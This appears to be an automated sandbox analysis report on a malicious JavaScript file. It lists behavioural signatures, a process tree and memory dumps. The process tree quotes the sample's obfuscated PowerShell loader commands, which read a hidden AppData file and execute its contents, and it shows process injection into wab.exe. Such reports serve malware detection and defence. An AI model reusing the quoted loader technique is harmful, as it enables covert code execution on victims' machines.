Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/09/2026, 18:13
General
- Target RPF1910485_20260729.js
- Size 115KB
- Sample260906-wtyb4sem2t
- SHA256 dd8c83d48f901343c0080e1d9ef3e242b714134fdcfe83f243c721b57c7e0f10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops desktop.ini file(s) 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 25 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\RPF1910485_20260729.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Macabre2⤵
- Modifies registry class
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Endoth='/app'+'data';$Isidoricet=gc ($home+$Endoth+'/local/Metralgi');$Sharec=$Isidoricet[3076]+$Isidoricet[3077]+$Isidoricet[3078]; . ($Sharec) $Isidoricet"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Endoth='/app'+'data';$Isidoricet=gc ($home+$Endoth+'/local/Metralgi');$Sharec=$Isidoricet[3076]+$Isidoricet[3077]+$Isidoricet[3078]; . ($Sharec) $Isidoricet"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
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C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Snuend.Ikr
Metralgi
memory/2852-11-0x0000000005A70000-0x0000000005A92000-memory.dmp
memory/2852-23-0x0000000006DD0000-0x0000000006DF2000-memory.dmp
memory/2852-13-0x00000000061D0000-0x0000000006236000-memory.dmp
memory/2852-16-0x0000000006320000-0x000000000667B000-memory.dmp
memory/2852-27-0x0000000009390000-0x000000000CD76000-memory.dmp
memory/2852-18-0x0000000006850000-0x000000000686E000-memory.dmp
memory/2852-19-0x0000000006880000-0x00000000068CC000-memory.dmp
memory/2852-10-0x0000000005B10000-0x000000000615A000-memory.dmp
memory/2852-21-0x0000000007810000-0x00000000078A6000-memory.dmp
memory/2852-22-0x0000000006D80000-0x0000000006D9A000-memory.dmp
memory/2852-12-0x0000000006160000-0x00000000061C6000-memory.dmp
memory/2852-24-0x00000000080D0000-0x000000000868A000-memory.dmp
memory/2852-25-0x0000000008D10000-0x000000000938C000-memory.dmp
memory/2852-9-0x0000000005350000-0x0000000005386000-memory.dmp
memory/3144-3-0x000001D0C28A0000-0x000001D0C28C2000-memory.dmp